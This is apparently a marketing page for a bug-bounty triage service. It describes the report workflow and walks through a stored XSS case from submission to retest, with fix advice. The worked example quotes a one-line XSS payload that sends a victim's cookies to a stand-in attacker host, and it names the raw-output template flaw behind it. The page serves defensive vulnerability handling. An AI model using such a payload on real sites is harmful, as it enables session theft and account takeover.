From inbox to closeout, end to end.

Before we start

Onboarding takes one to two weeks. We need scope and policy, asset inventory, tracker access, your hunter-facing voice, and your escalation paths. After that, every report follows the same path.

Timeline

One report, eight beats.

1. T+0

   Hunter submits the report

   It lands in a Severity Labs inbox or via your forwarder. Within minutes, an automated acknowledgement goes back so the hunter knows it was received and what the tracking ID is. Nothing has reached your team yet.

2. T+2h

   First human review

   A triager reads the report, checks scope and policy, and runs it against the dedup index from your program's history. If it's a duplicate, an out-of-scope item, or a known accepted-risk pattern, it gets a real reply explaining why and is closed.

3. T+12h

   Reproduction

   For everything that survives, we reproduce end-to-end. Request and response evidence, screenshots where they help, and a written narrative of what's actually exploitable. If the report doesn't reproduce as written, we go back to the hunter with specifics — not 'unable to reproduce'.

4. T+18h

   Severity

   CVSS 3.1 vector and base score, with a written justification of every metric pick. Then a business-context severity that adjusts for asset exposure, data sensitivity, and compensating controls. You see both numbers; engineers act on the second.

5. T+24h

   Handoff to your tracker

   A dev-ready Jira / Linear / GitHub issue lands in the right project with the right labels. Title, asset, repro steps, impact, suggested fix direction, severity, and a link to evidence. A senior engineer should be able to pick it up cold and start working.

6. Critical path

   Same-day for criticals

   If a finding is genuinely critical — RCE on production, mass data exposure, account takeover at scale — we escalate immediately through whatever channel you nominate (Slack, PagerDuty, phone). The 24h SLA above is for everything else.

7. On fix

   Retest + closeout

   When your engineer marks the ticket done, we retest the fix. If it holds, we close the report with a written disposition and recommend a bounty amount where appropriate. The hunter gets a final reply in your program's voice. If the fix doesn't hold, the ticket reopens with notes.

8. Weekly / Quarterly

   Reporting back

   Every Monday: what came in, what was valid, what's open, what's stalled, and a flag on anything sliding past SLA. Every quarter: trends in submission quality, asset hotspots, hunter mix, and a written take on where the program could go next.

Worked example

One real-shaped report, end to end.

Names changed, structure preserved. This is what your engineers actually see, and what hunters actually get back from us.

1. Inbound·T+0

   01

   Hunter submits via security@

   From: anon-hunter@protonmail.com
   Subject: Stored XSS in reviewer comments
   
   Hi team — found a stored XSS in the review comment field. POST to /api/reviews/{id}/comments with body=<svg/onload=fetch('//attacker.example/'+document.cookie)> renders unescaped on /reviews/{id}. Affects any user who opens the review. Repro on app.example.com with a free account.

   Annotation

   Auto-acknowledgement goes back within minutes with tracking ID SL-2418. Nothing has reached your team yet.

2. Triage·T+1h

   02

   Scope and dedup pass

   ✓ In scope (app.example.com is listed)
   ✓ Not a duplicate of SL-2401, SL-2289 (different sink)
   ✓ Hunter has reported one valid bug previously — tier 2 reputation
   → Move to validation

   Annotation

   If it had been out of scope or a duplicate, the hunter would already have a written reply explaining why. Your engineers wouldn't see anything.

3. Validation·T+8h

   03

   Reproduction with evidence

   Repro confirmed. Authenticated as low-priv user, posted comment with payload, opened review as second user. Cookie exfiltrated to test endpoint we control.
   
   Root cause: app/views/reviews/_comment.html.erb renders @comment.body via <%== ... %> (raw output). No allow-list sanitization at write time. CSP allows inline event handlers on this path.

   Annotation

   Evidence package: HAR file, screenshots, two video segments. Stored in your evidence bucket with the report.

4. Scoring·T+10h

   04

   CVSS 3.1 with justification

   Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
   Base score: 7.4 (High)
   
   • AV:N — exploitable from anywhere on the internet
   • AC:L — runs reliably, no race conditions
   • PR:L — requires a free user account
   • UI:R — victim must open the affected review
   • S:C — cookie theft pivots to other subdomains under .example.com
   • C:H — full session compromise
   • I:L — limited integrity via the hijacked session
   • A:N — no availability impact
   
   Business-context severity: High. Reviewer accounts are limited but include moderators with elevated permissions. Recommend escalation.

   Annotation

   Both numbers go in the report. Engineers act on the second.

5. Handoff·T+18h

   05

   Issue lands in your tracker

   [SL-2418] Stored XSS in reviewer comments allows session theft
   Project: example-app · Component: web-frontend · Severity: High
   Assignee: AppSec on-call
   
   Suggested fix direction:
   1. Switch _comment.html.erb to <%= ... %> (Rails-escaped output)
   2. Run @comment.body through Rails' sanitize with explicit allow-list at write time
   3. Tighten CSP on /reviews/* to forbid inline handlers (script-src 'self' with nonces)
   4. Review other partials for raw output (grep -rn '<%==')

   Annotation

   Engineer can pick this up cold. No back-and-forth needed before they start.

6. Closeout·Day 4

   06

   Retest and disposition

   Fix deployed in build 2026.04.18-3. Retest:
   ✓ Original payload now renders as text
   ✓ allow-list rejects script, on*, iframe, embed
   ✓ CSP report-only header confirms inline handlers blocked
   → Closed: fixed
   
   Hunter reply (in your program voice): fix confirmed, recommended bounty $1,500 paid. Thanked, invited to private program for moderator-tier endpoints.

   Annotation

   End-to-end, four working days. Your team spent the time it took to write four lines of code and review the fix.

Judgment calls

What happens when the work isn't on the rails.

More on the stances behind these calls on the principles page.

What this gets you

• Median time-to-first-response under three hours.
• Median time-to-handoff under one business day.
• Hunter-facing reply rate of 100% (no report goes silent).
• A queue your AppSec team can ignore unless paged.